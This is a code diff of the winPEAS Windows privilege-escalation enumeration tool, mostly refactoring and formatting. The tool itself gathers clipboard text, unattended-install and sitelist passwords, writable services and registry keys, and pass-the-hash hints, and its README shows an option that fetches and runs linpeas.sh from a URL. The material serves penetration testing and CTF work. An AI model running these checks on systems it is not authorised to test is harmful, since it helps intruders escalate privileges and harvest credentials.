CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
||||
@@ -404,7 +404,7 @@ CALL :T_Progress 1
|
||||
|
||||
:CurrentClipboard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
|
||||
ECHO. [i] Any password inside the clipboard?
|
||||
ECHO. [i] Any passwords inside the clipboard?
|
||||
powershell -command "Get-Clipboard" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -565,7 +565,7 @@ CALL :T_Progress 2
|
||||
|
||||
:AppCMD
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
@@ -53,6 +53,7 @@ $wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions someti
|
||||
## Parameters Examples
|
||||
|
||||
```bash
|
||||
winpeas.exe -h # Get Help
|
||||
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
|
||||
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
|
||||
winpeas.exe notcolor #Do not color the output
|
||||
@@ -64,35 +65,6 @@ winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpea
|
||||
winpeas.exe -lolbas #Execute also additional LOLBAS search check
|
||||
```
|
||||
|
||||
## Help
|
||||
```
|
||||
domain Enumerate domain information
|
||||
systeminfo Search system information
|
||||
userinfo Search user information
|
||||
processinfo Search processes information
|
||||
servicesinfo Search services information
|
||||
applicationsinfo Search installed applications information
|
||||
networkinfo Search network information
|
||||
windowscreds Search windows credentials
|
||||
browserinfo Search browser information
|
||||
filesinfo Search generic files that can contains credentials
|
||||
fileanalysis Search specific files that can contains credentials and for regexes inside files
|
||||
eventsinfo Display interesting events information
|
||||
|
||||
quiet Do not print banner
|
||||
notcolor Don't use ansi colors (all white)
|
||||
searchpf Search credentials via regex also in Program Files folders
|
||||
wait Wait for user input between checks
|
||||
debug Display debugging information - memory usage, method execution time
|
||||
log[=logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
|
||||
MaxRegexFileSize=1000000 Max file size (in Bytes) to search regex in. Default: 1000000B
|
||||
|
||||
Additional checks (slower):
|
||||
-lolbas Run additional LOLBAS check
|
||||
-linpeas=[url] Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL
|
||||
(default: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh)
|
||||
```
|
||||
|
||||
## Basic information
|
||||
|
||||
The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments.
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
|
||||
@@ -27,8 +27,8 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Current Active Window Application");
|
||||
string title = ApplicationInfoHelper.GetActiveWindowTitle();
|
||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, Checks.CurrentUserSiDs);
|
||||
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, Checks.CurrentUserSiDs);
|
||||
if (permsFile.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint(" " + title);
|
||||
@@ -188,8 +188,8 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
||||
{
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], Checks.CurrentUserSiDs);
|
||||
string formString = " ({0}) {1}: {2}";
|
||||
|
||||
if (fileRights.Count > 0)
|
||||
@@ -238,8 +238,8 @@ namespace winPEAS.Checks
|
||||
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
||||
{
|
||||
string pathDriver = driver.Key;
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, Checks.CurrentUserSiDs);
|
||||
|
||||
Dictionary<string, string> colorsD = new Dictionary<string, string>()
|
||||
{
|
||||
|
||||
@@ -363,8 +363,8 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.GrayPrint(" - Creating disabled users list...");
|
||||
Checks.PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
||||
PaintDisabledUsersNoAdministrator = Checks.PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
||||
PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
||||
PaintDisabledUsersNoAdministrator = PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -411,7 +411,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
|
||||
System.Console.WriteLine(@"ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
Console.WriteLine(@"ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -425,7 +425,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
|
||||
{
|
||||
System.Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
IsLongPath = false;
|
||||
}
|
||||
else
|
||||
|
||||
@@ -27,7 +27,7 @@ namespace winPEAS.Checks
|
||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||
}
|
||||
|
||||
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles=true)
|
||||
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles = true)
|
||||
{
|
||||
var files = new List<CustomFileInfo>();
|
||||
var systemDrive = $"{SearchHelper.SystemDrive}\\";
|
||||
@@ -118,7 +118,8 @@ namespace winPEAS.Checks
|
||||
|
||||
if (isFileFound)
|
||||
{
|
||||
if (!somethingFound) {
|
||||
if (!somethingFound)
|
||||
{
|
||||
Beaprint.MainPrint($"Found {searchName} Files");
|
||||
somethingFound = true;
|
||||
}
|
||||
@@ -317,6 +318,74 @@ namespace winPEAS.Checks
|
||||
Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value));
|
||||
}*/
|
||||
|
||||
//double pb = 0;
|
||||
//using (var progress = new ProgressBar())
|
||||
//{
|
||||
// CheckRunner.Run(() =>
|
||||
// {
|
||||
// int num_threads = 8;
|
||||
// try
|
||||
// {
|
||||
// num_threads = Environment.ProcessorCount;
|
||||
// }
|
||||
// catch (Exception ex) { }
|
||||
|
||||
// Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
|
||||
// {
|
||||
|
||||
// foreach (var regex_obj in config.regular_expresions)
|
||||
// {
|
||||
// foreach (var regex in regex_obj.regexes)
|
||||
// {
|
||||
// if (regex.disable != null && regex.disable.ToLower().Contains("winpeas"))
|
||||
// {
|
||||
// continue;
|
||||
// }
|
||||
|
||||
// List<string> results = new List<string> { };
|
||||
|
||||
// var timer = new Stopwatch();
|
||||
// if (Checks.IsDebug)
|
||||
// {
|
||||
// timer.Start();
|
||||
// }
|
||||
|
||||
|
||||
// try
|
||||
// {
|
||||
// string text = File.ReadAllText(f.FullPath);
|
||||
|
||||
// results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
|
||||
// if (results.Count > 0)
|
||||
// {
|
||||
// if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
|
||||
// if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
|
||||
|
||||
// foundRegexes[regex_obj.name][regex.name][f.FullPath] = results;
|
||||
// }
|
||||
// }
|
||||
// catch (System.IO.IOException)
|
||||
// {
|
||||
// // Cannot read the file
|
||||
// }
|
||||
|
||||
// if (Checks.IsDebug)
|
||||
// {
|
||||
// timer.Stop();
|
||||
|
||||
// TimeSpan timeTaken = timer.Elapsed;
|
||||
// if (timeTaken.TotalMilliseconds > 20000)
|
||||
// Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// pb += (double)100 / files.Count;
|
||||
// progress.Report(pb / 100); //Value must be in [0..1] range
|
||||
// });
|
||||
// }, Checks.IsDebug);
|
||||
//}
|
||||
|
||||
|
||||
double pb = 0;
|
||||
using (var progress = new ProgressBar())
|
||||
{
|
||||
@@ -331,7 +400,6 @@ namespace winPEAS.Checks
|
||||
|
||||
Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
|
||||
{
|
||||
|
||||
foreach (var regex_obj in config.regular_expresions)
|
||||
{
|
||||
foreach (var regex in regex_obj.regexes)
|
||||
@@ -341,7 +409,7 @@ namespace winPEAS.Checks
|
||||
continue;
|
||||
}
|
||||
|
||||
List<string> results = new List<string> { };
|
||||
Dictionary<string, List<string>> fileResults = new Dictionary<string, List<string>>();
|
||||
|
||||
var timer = new Stopwatch();
|
||||
if (Checks.IsDebug)
|
||||
@@ -349,18 +417,31 @@ namespace winPEAS.Checks
|
||||
timer.Start();
|
||||
}
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
string text = System.IO.File.ReadAllText(f.FullPath);
|
||||
|
||||
results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
|
||||
using (StreamReader sr = new StreamReader(f.FullPath))
|
||||
{
|
||||
string line;
|
||||
while ((line = sr.ReadLine()) != null)
|
||||
{
|
||||
List<string> results = SearchContent(line, regex.regex, (bool)regex.caseinsensitive);
|
||||
if (results.Count > 0)
|
||||
{
|
||||
if (!fileResults.ContainsKey(f.FullPath))
|
||||
{
|
||||
fileResults[f.FullPath] = new List<string>();
|
||||
}
|
||||
fileResults[f.FullPath].AddRange(results);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (fileResults.Count > 0)
|
||||
{
|
||||
if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
|
||||
if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
|
||||
|
||||
foundRegexes[regex_obj.name][regex.name][f.FullPath] = results;
|
||||
foundRegexes[regex_obj.name][regex.name] = fileResults;
|
||||
}
|
||||
}
|
||||
catch (System.IO.IOException)
|
||||
@@ -384,6 +465,7 @@ namespace winPEAS.Checks
|
||||
}, Checks.IsDebug);
|
||||
}
|
||||
|
||||
|
||||
// Print results
|
||||
foreach (KeyValuePair<string, Dictionary<string, Dictionary<string, List<string>>>> item in foundRegexes)
|
||||
{
|
||||
@@ -451,7 +533,7 @@ namespace winPEAS.Checks
|
||||
// If contains undesireable string, stop processing
|
||||
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
|
||||
{
|
||||
foreach(var rem_path in fileSettings.remove_path.Split('|'))
|
||||
foreach (var rem_path in fileSettings.remove_path.Split('|'))
|
||||
{
|
||||
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
|
||||
return false;
|
||||
@@ -460,8 +542,10 @@ namespace winPEAS.Checks
|
||||
|
||||
if (fileSettings.type == "f")
|
||||
{
|
||||
var colors = new Dictionary<string, string>();
|
||||
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
|
||||
var colors = new Dictionary<string, string>
|
||||
{
|
||||
{ fileInfo.Filename, Beaprint.ansi_color_bad }
|
||||
};
|
||||
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
|
||||
|
||||
if (!(bool)fileSettings.just_list_file)
|
||||
@@ -471,8 +555,10 @@ namespace winPEAS.Checks
|
||||
}
|
||||
else if (fileSettings.type == "d")
|
||||
{
|
||||
var colors = new Dictionary<string, string>();
|
||||
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
|
||||
var colors = new Dictionary<string, string>
|
||||
{
|
||||
{ fileInfo.Filename, Beaprint.ansi_color_bad }
|
||||
};
|
||||
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
|
||||
|
||||
// just list the directory
|
||||
|
||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
|
||||
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
|
||||
System.Console.WriteLine("");
|
||||
Console.WriteLine("");
|
||||
}
|
||||
}
|
||||
else
|
||||
@@ -182,7 +182,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
List<string> pwds = Unattended.ExtractUnattendedPwd(path);
|
||||
Beaprint.BadPrint(" " + path);
|
||||
System.Console.WriteLine(string.Join("\n", pwds));
|
||||
Console.WriteLine(string.Join("\n", pwds));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -233,11 +233,11 @@ namespace winPEAS.Checks
|
||||
foreach (var site in sitelistFilesInfo.Sites)
|
||||
{
|
||||
Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
|
||||
PrintColored( $" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
||||
PrintColored( $" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
||||
PrintColored( $" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
||||
PrintColored( $" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
||||
Beaprint.NoColorPrint( $" Domain Name : {site.DomainName}\n" +
|
||||
PrintColored($" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
||||
PrintColored($" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
||||
PrintColored($" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
||||
PrintColored($" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
||||
Beaprint.NoColorPrint($" Domain Name : {site.DomainName}\n" +
|
||||
$" Name : {site.Name}\n" +
|
||||
$" Type : {site.Type}\n" +
|
||||
$" Relative Path : {site.RelativePath}\n");
|
||||
@@ -480,7 +480,7 @@ namespace winPEAS.Checks
|
||||
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
|
||||
{
|
||||
Beaprint.DictPrint(rec_file, colorF, true);
|
||||
System.Console.WriteLine();
|
||||
Console.WriteLine();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -81,7 +81,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
if (line.Length > 0 && line[0] != '#')
|
||||
{
|
||||
System.Console.WriteLine(" " + line.Replace("\t", " "));
|
||||
Console.WriteLine(" " + line.Replace("\t", " "));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -304,8 +304,8 @@ namespace winPEAS.Checks
|
||||
Beaprint.GrayPrint(" DENY rules:");
|
||||
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
|
||||
{
|
||||
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
||||
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
||||
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], Checks.CurrentUserSiDs));
|
||||
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], Checks.CurrentUserSiDs));
|
||||
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
|
||||
if (filePerms.Length > 0)
|
||||
formString += "\n File Permissions: {8}";
|
||||
|
||||
@@ -20,7 +20,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
CheckRunner.Run(() =>
|
||||
{
|
||||
modifiableServices = ServicesInfoHelper.GetModifiableServices(winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
modifiableServices = ServicesInfoHelper.GetModifiableServices(Checks.CurrentUserSiDs);
|
||||
}, isDebug);
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -53,12 +53,12 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (Dictionary<string, string> serviceInfo in services_info)
|
||||
{
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = new List<string>();
|
||||
|
||||
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
|
||||
{
|
||||
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), Checks.CurrentUserSiDs);
|
||||
}
|
||||
|
||||
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
|
||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Looking if you can modify any service registry");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(Checks.CurrentUserSiDs);
|
||||
|
||||
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
||||
{
|
||||
|
||||
@@ -5,21 +5,21 @@ using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS._3rdParty.Watson;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.AppLocker;
|
||||
using winPEAS._3rdParty.Watson;
|
||||
using winPEAS.Info.SystemInfo.Printers;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
using winPEAS.Info.SystemInfo;
|
||||
using winPEAS.Info.SystemInfo.SysMon;
|
||||
using winPEAS.Helpers.Extensions;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.SystemInfo;
|
||||
using winPEAS.Info.SystemInfo.AuditPolicies;
|
||||
using winPEAS.Info.SystemInfo.DotNet;
|
||||
using winPEAS.Info.SystemInfo.GroupPolicy;
|
||||
using winPEAS.Info.SystemInfo.WindowsDefender;
|
||||
using winPEAS.Info.SystemInfo.PowerShell;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
using winPEAS.Info.SystemInfo.Ntlm;
|
||||
using winPEAS.Info.SystemInfo.PowerShell;
|
||||
using winPEAS.Info.SystemInfo.Printers;
|
||||
using winPEAS.Info.SystemInfo.SysMon;
|
||||
using winPEAS.Info.SystemInfo.WindowsDefender;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Checks
|
||||
@@ -107,7 +107,7 @@ namespace winPEAS.Checks
|
||||
{ Globals.StrTrue, Beaprint.ansi_color_bad },
|
||||
};
|
||||
Beaprint.DictPrint(basicDictSystem, colorsSI, false);
|
||||
System.Console.WriteLine();
|
||||
Console.WriteLine();
|
||||
Watson.FindVulns();
|
||||
|
||||
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
|
||||
@@ -369,12 +369,12 @@ namespace winPEAS.Checks
|
||||
|
||||
if (lsaCfgFlags == "1")
|
||||
{
|
||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
|
||||
}
|
||||
else if (lsaCfgFlags == "2")
|
||||
{
|
||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
|
||||
}
|
||||
else
|
||||
@@ -572,7 +572,7 @@ namespace winPEAS.Checks
|
||||
else if (using_HKLM_WSUS == "0")
|
||||
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
|
||||
else
|
||||
System.Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
||||
Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -1070,7 +1070,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
|
||||
{
|
||||
val = System.BitConverter.ToString((byte[])kvp.Value);
|
||||
val = BitConverter.ToString((byte[])kvp.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -1086,12 +1086,12 @@ namespace winPEAS.Checks
|
||||
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
|
||||
}
|
||||
|
||||
if (key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
||||
if (key.Equals("RunAsPPL", StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
||||
{
|
||||
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
|
||||
}
|
||||
|
||||
if (key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
||||
if (key.Equals("DisableRestrictedAdmin", StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
||||
{
|
||||
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
|
||||
}
|
||||
@@ -1107,7 +1107,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine" );
|
||||
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine");
|
||||
|
||||
var infos = GroupPolicy.GetLocalGroupPolicyInfos();
|
||||
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Extensions;
|
||||
@@ -158,7 +156,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("RDP Sessions");
|
||||
List<Dictionary<string, string>> rdp_sessions = Info.UserInfo.UserInfoHelper.GetRDPSessions();
|
||||
List<Dictionary<string, string>> rdp_sessions = UserInfoHelper.GetRDPSessions();
|
||||
if (rdp_sessions.Count > 0)
|
||||
{
|
||||
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
|
||||
@@ -263,7 +261,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Password Policies");
|
||||
Beaprint.LinkPrint("", "Check for a possible brute-force");
|
||||
List<Dictionary<string, string>> PPy = Info.UserInfo.UserInfoHelper.GetPasswordPolicy();
|
||||
List<Dictionary<string, string>> PPy = UserInfoHelper.GetPasswordPolicy();
|
||||
Beaprint.DictPrint(PPy, ColorsU(), false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -282,7 +280,7 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (var logonSession in logonSessions)
|
||||
{
|
||||
Beaprint.NoColorPrint ($" Method: {logonSession.Method}\n" +
|
||||
Beaprint.NoColorPrint($" Method: {logonSession.Method}\n" +
|
||||
$" Logon Server: {logonSession.LogonServer}\n" +
|
||||
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
|
||||
$" Logon Id: {logonSession.LogonId}\n" +
|
||||
@@ -317,7 +315,7 @@ namespace winPEAS.Checks
|
||||
if (User32.GetLastInputInfo(ref lastInputInfo))
|
||||
{
|
||||
var currentUser = WindowsIdentity.GetCurrent().Name;
|
||||
var idleTimeMiliSeconds = (uint) Environment.TickCount - lastInputInfo.Time;
|
||||
var idleTimeMiliSeconds = (uint)Environment.TickCount - lastInputInfo.Time;
|
||||
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
|
||||
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
|
||||
|
||||
@@ -364,7 +362,7 @@ namespace winPEAS.Checks
|
||||
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
|
||||
}
|
||||
|
||||
Beaprint.AnsiPrint( $" Computer Name : {computerName}\n" +
|
||||
Beaprint.AnsiPrint($" Computer Name : {computerName}\n" +
|
||||
$" User Name : {localUser.name}\n" +
|
||||
$" User Id : {localUser.user_id}\n" +
|
||||
$" Is Enabled : {enabled}\n" +
|
||||
|
||||
@@ -307,7 +307,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking AppCmd.exe");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe");
|
||||
|
||||
var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe");
|
||||
|
||||
|
||||
@@ -116,7 +116,7 @@ namespace winPEAS.Helpers.AppLocker
|
||||
|
||||
var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
|
||||
|
||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
||||
Beaprint.ColorPrint($" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
||||
|
||||
Beaprint.GoodPrint($" Conditions");
|
||||
|
||||
@@ -153,7 +153,7 @@ namespace winPEAS.Helpers.AppLocker
|
||||
|
||||
var color = GetColorBySid(filePathRule.UserOrGroupSid);
|
||||
|
||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
||||
